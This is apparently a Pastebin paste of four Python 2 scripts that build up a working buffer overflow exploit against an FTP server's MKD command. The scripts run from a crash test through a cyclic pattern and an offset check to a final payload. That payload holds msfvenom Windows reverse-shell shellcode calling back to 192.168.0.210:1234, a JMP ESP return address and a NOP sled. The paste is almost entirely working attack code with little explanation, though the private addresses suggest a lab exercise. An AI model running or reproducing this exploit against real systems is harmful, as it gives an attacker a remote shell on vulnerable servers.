Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Crash
- #!/usr/bin/env python2
- import socket
- import sys
- RHOST='192.168.0.139'
- RPORT=21
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- connect=s.connect((RHOST,RPORT))
- s.recv(1024)
- s.send('USER ftp\r\n')
- s.recv(1024)
- s.send('PASS ftp\r\n')
- s.recv(1024)
- s.send('MKD ' + 'A'*1000 + '\r\n')
- s.recv(1024)
- s.send('QUIT\r\n')
- s.close
- #PatternCreate
- #!/usr/bin/env python2
- import socket
- import sys
- RHOST='192.168.0.139'
- RPORT=21
- data='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- connect=s.connect((RHOST,RPORT))
- s.recv(1024)
- s.send('USER ftp\r\n')
- s.recv(1024)
- s.send('PASS ftp\r\n')
- s.recv(1024)
- s.send('MKD '+data+'\r\n')
- s.recv(1024)
- s.send('QUIT\r\n')
- s.close
- #PatternCheck
- #!/usr/bin/env python2
- import socket
- import sys
- RHOST='192.168.0.139'
- RPORT=21
- data='A'*247+'B'*4+'C'*8+'D'*4+'E'*737
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- connect=s.connect((RHOST,RPORT))
- s.recv(1024)
- s.send('USER ftp\r\n')
- s.recv(1024)
- s.send('PASS ftp\r\n')
- s.recv(1024)
- s.send('MKD '+data+'\r\n')
- s.recv(1024)
- s.send('QUIT\r\n')
- s.close
- #!/usr/bin/env python2
- import socket
- import sys
- RHOST='192.168.0.139'
- RPORT=21
- #with msfvenom shell code of 351 bytes msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.210 LPORT=1234 -f c -b "\x00\x0a"
- shellcode=("\xbf\x01\xb1\xb2\xdf\xd9\xc0\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
- "\x52\x83\xed\xfc\x31\x7d\x0e\x03\x7c\xbf\x50\x2a\x82\x57\x16"
- "\xd5\x7a\xa8\x77\x5f\x9f\x99\xb7\x3b\xd4\x8a\x07\x4f\xb8\x26"
- "\xe3\x1d\x28\xbc\x81\x89\x5f\x75\x2f\xec\x6e\x86\x1c\xcc\xf1"
- "\x04\x5f\x01\xd1\x35\x90\x54\x10\x71\xcd\x95\x40\x2a\x99\x08"
- "\x74\x5f\xd7\x90\xff\x13\xf9\x90\x1c\xe3\xf8\xb1\xb3\x7f\xa3"
- "\x11\x32\x53\xdf\x1b\x2c\xb0\xda\xd2\xc7\x02\x90\xe4\x01\x5b"
- "\x59\x4a\x6c\x53\xa8\x92\xa9\x54\x53\xe1\xc3\xa6\xee\xf2\x10"
- "\xd4\x34\x76\x82\x7e\xbe\x20\x6e\x7e\x13\xb6\xe5\x8c\xd8\xbc"
- "\xa1\x90\xdf\x11\xda\xad\x54\x94\x0c\x24\x2e\xb3\x88\x6c\xf4"
- "\xda\x89\xc8\x5b\xe2\xc9\xb2\x04\x46\x82\x5f\x50\xfb\xc9\x37"
- "\x95\x36\xf1\xc7\xb1\x41\x82\xf5\x1e\xfa\x0c\xb6\xd7\x24\xcb"
- "\xb9\xcd\x91\x43\x44\xee\xe1\x4a\x83\xba\xb1\xe4\x22\xc3\x59"
- "\xf4\xcb\x16\xcd\xa4\x63\xc9\xae\x14\xc4\xb9\x46\x7e\xcb\xe6"
- "\x77\x81\x01\x8f\x12\x78\xc2\x70\x4a\x82\xc0\x19\x89\x82\xe0"
- "\x0b\x04\x64\x82\xbb\x41\x3f\x3b\x25\xc8\xcb\xda\xaa\xc6\xb6"
- "\xdd\x21\xe5\x47\x93\xc1\x80\x5b\x44\x22\xdf\x01\xc3\x3d\xf5"
- "\x2d\x8f\xac\x92\xad\xc6\xcc\x0c\xfa\x8f\x23\x45\x6e\x22\x1d"
- "\xff\x8c\xbf\xfb\x38\x14\x64\x38\xc6\x95\xe9\x04\xec\x85\x37"
- "\x84\xa8\xf1\xe7\xd3\x66\xaf\x41\x8a\xc8\x19\x18\x61\x83\xcd"
- "\xdd\x49\x14\x8b\xe1\x87\xe2\x73\x53\x7e\xb3\x8c\x5c\x16\x33"
- "\xf5\x80\x86\xbc\x2c\x01\xb6\xf6\x6c\x20\x5f\x5f\xe5\x70\x02"
- "\x60\xd0\xb7\x3b\xe3\xd0\x47\xb8\xfb\x91\x42\x84\xbb\x4a\x3f"
- "\x95\x29\x6c\xec\x96\x7b")
- #jmp esp is identified by looking into shell32.dll from view->executable modules and searching for JMP ESP
- data='A'*247+'\x21\x4B\x68\x74'+"\x90"*30+shellcode+'C'*368
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- connect=s.connect((RHOST,RPORT))
- s.recv(1024)
- s.send('USER ftp\r\n')
- s.recv(1024)
- s.send('PASS ftp\r\n')
- s.recv(1024)
- s.send('MKD '+data+'\r\n')
- s.recv(1024)
- s.send('QUIT\r\n')
- s.close
Add Comment
Please, Sign In to add comment